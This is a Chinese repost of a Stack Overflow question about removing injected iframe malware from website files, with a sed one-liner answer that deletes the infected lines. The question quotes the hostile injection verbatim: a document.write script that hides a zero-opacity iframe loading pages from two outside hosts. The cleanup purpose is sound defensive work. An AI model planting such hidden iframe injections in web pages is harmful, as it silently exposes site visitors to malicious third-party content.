gpt4 book ai didi

linux - 清理 iframe 恶意软件

转载 作者:塔克拉玛干 更新时间:2023-11-03 01:06:16 25 4
gpt4 key购买 nike

我正在帮助某人清除网站上的恶意软件感染,但我很难在 sed 中正确匹配某些字符串,因此我可以创建一个脚本来批量搜索并替换/删除它。

字符串是:

<script>document.write('<style>.vb_style_forum {filter: alpha(opacity=0);opacity: 0.0;width: 200px;height: 150px;}</style><div class="vb_style_forum"><iframe height="150" width="200" src="http://www.iws-leipzig.de/contacts.php"></iframe></div>');</script>

<script>document.write('<style>.vb_style_forum {filter: alpha(opacity=0);opacity: 0.0;width: 200px;height: 150px;}</style><div class="vb_style_forum"><iframe height="150" width="200" src="http://vidintex.com/includes/class.pop.php"></iframe></div>');</script>

<script>document.write('<style>.vb_style_forum {filter: alpha(opacity=0);opacity: 0.0;width: 200px;height: 150px;}</style><div class="vb_style_forum"><iframe height="150" width="200" src="http://www.iws-leipzig.de/contacts.php"></iframe></div>');</script>

我似乎无法弄清楚如何转义那些行中的各种字符......

如果我只是说如果匹配 http://vidintex.com/includes/class.pop.php 就删除整行它还会删除结束 html </body>.html文件也是如此。

所以我需要能够在 sed 中匹配这一整行:

    <script>document.write('<style>.vb_style_forum {filter: alpha(opacity=0);opacity: 0.0;width: 200px;height: 150px;}</style><div class="vb_style_forum"><iframe height="150" width="200" src="http://www.iws-leipzig.de/contacts.php"></iframe></div>');</script>

如有任何帮助,我们将不胜感激!

最佳答案

你可以尝试这样做:

sed -i '/vidintex.com\/includes\/class.pop.php/d' files*

这将删除所有包含 vidintex.com/includes/class.pop.php 的行

关于linux - 清理 iframe 恶意软件,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/13040532/

25 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com